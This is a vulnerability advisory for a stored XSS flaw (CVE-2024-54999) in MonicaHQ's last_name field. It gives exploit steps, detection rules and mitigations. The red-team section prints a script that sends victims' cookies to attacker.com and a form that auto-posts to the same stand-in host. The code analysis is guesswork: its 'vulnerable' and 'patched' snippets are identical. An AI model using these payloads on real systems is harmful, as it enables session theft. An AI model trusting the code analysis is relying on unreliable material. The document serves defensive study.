CVE-2024-54999

Executive Summary

CVE-2024-54999 is a Client-Side Injection vulnerability discovered in MonicaHQ v4.1.2, a popular open-source personal CRM (Customer Relationship Management) system. The flaw resides in the last_name parameter within the General Information module, allowing an authenticated attacker to inject arbitrary client-side scripts or HTML. This can lead to data theft, session hijacking, or phishing attacks against other users of the same MonicaHQ instance.

The vulnerability is classified as a Stored Cross-Site Scripting (XSS) issue, as the injected payload is stored on the server and executed when other users view the affected profile. The CVSS score is 0.0 in the NVD data, but based on the technical details, a more realistic score is 4.3 (Medium) due to the requirement for user interaction and low impact on confidentiality and integrity.

Supply Chain & Package Security

MonicaHQ is a PHP/Laravel application. The vulnerability is not in a third-party package but in the application's own input handling. However, the lack of a patch from the vendor (MonicaHQ) means that users must rely on manual mitigation or custom WAF rules until an official fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker must have a valid user account.
• User Interaction (UI): Required (R) – The victim must view the attacker's profile.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (4.3)

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the last_name field of the General Information module. When a user updates their profile, the last_name parameter is not properly sanitized or encoded before being stored in the database. When another user views the profile, the malicious script is executed in their browser.

Root Cause: The application fails to apply output encoding (e.g., HTML entity encoding) to the last_name field when rendering it in the view. This allows an attacker to inject arbitrary HTML/JavaScript.

Attack Flow:

1. Attacker logs into MonicaHQ.
2. Attacker navigates to their profile and edits the last_name field.
3. Attacker injects a payload like <script>alert('XSS')</script>.
4. The payload is stored in the database.
5. Victim views the attacker's profile.
6. The victim's browser executes the injected script.

Vulnerable vs. Patched Code

Vulnerable Code (MonicaHQ v4.1.2):

// In the view (Blade template)
{{ $contact->last_name }}

This uses Blade's {{ }} syntax, which should escape output by default. However, if the developer used {!! !!} (unescaped output) or if the data is passed through a raw filter, the vulnerability occurs.

Patched Code (Hypothetical):

// Use escaped output
{{ $contact->last_name }}

Or, if raw output is required, apply htmlspecialchars():

{!! htmlspecialchars($contact->last_name, ENT_QUOTES, 'UTF-8') !!}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running MonicaHQ v4.1.2 instance.
• A valid user account.

Exploit Steps:

1. Log in to MonicaHQ.
2. Navigate to /people/{id}/edit (where {id} is your contact ID).
3. In the last_name field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the profile.
5. Wait for a victim to view your profile.

Alternative Payload (Phishing):

<form id="f" action="https://attacker.com/login" method="POST">
  <input type="hidden" name="username" value="admin">
  <input type="hidden" name="password" value="hacked">
</form>
<script>document.getElementById('f').submit();</script>

Blue Team

Detection:

• Monitor for unusual last_name values containing <script>, <img>, or onerror attributes.
• Use WAF rules to block common XSS patterns in the last_name field.

Mitigation:

• Apply input validation: Allow only alphanumeric characters and spaces in last_name.
• Apply output encoding: Ensure all user-supplied data is HTML-entity encoded before rendering.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /people/{id}/edit with last_name containing <script> tags.
• Logs: Application logs showing last_name values with HTML/JavaScript.
• Database: Entries in the contacts table where last_name contains < or > characters.

Detection Engineering

YARA Rule

rule CVE_2024_54999_XSS_Lastname {
    meta:
        description = "Detects XSS payloads in MonicaHQ last_name field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54999"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: MonicaHQ Stored XSS in last_name Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-54999 by injecting XSS payloads into the last_name parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: monicahq
detection:
    selection:
        http.method: POST
        http.url: /people/*/edit
        http.body: '*last_name*'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in last_name (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-54999 - MonicaHQ Stored XSS in last_name";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/people/"; http_uri;
    content:"last_name"; http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-54999;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the last_name field in the General Information module until a patch is available.
2. Apply a WAF rule to block requests containing <script> or onerror in the last_name parameter.
3. Audit user profiles for existing XSS payloads.

Long-term Fix:

• The vendor (MonicaHQ) should release a patch that properly escapes the last_name field in all views.
• Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.

Workaround:

• Modify the Blade template to use {{ $contact->last_name }} instead of {!! $contact->last_name !!}.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert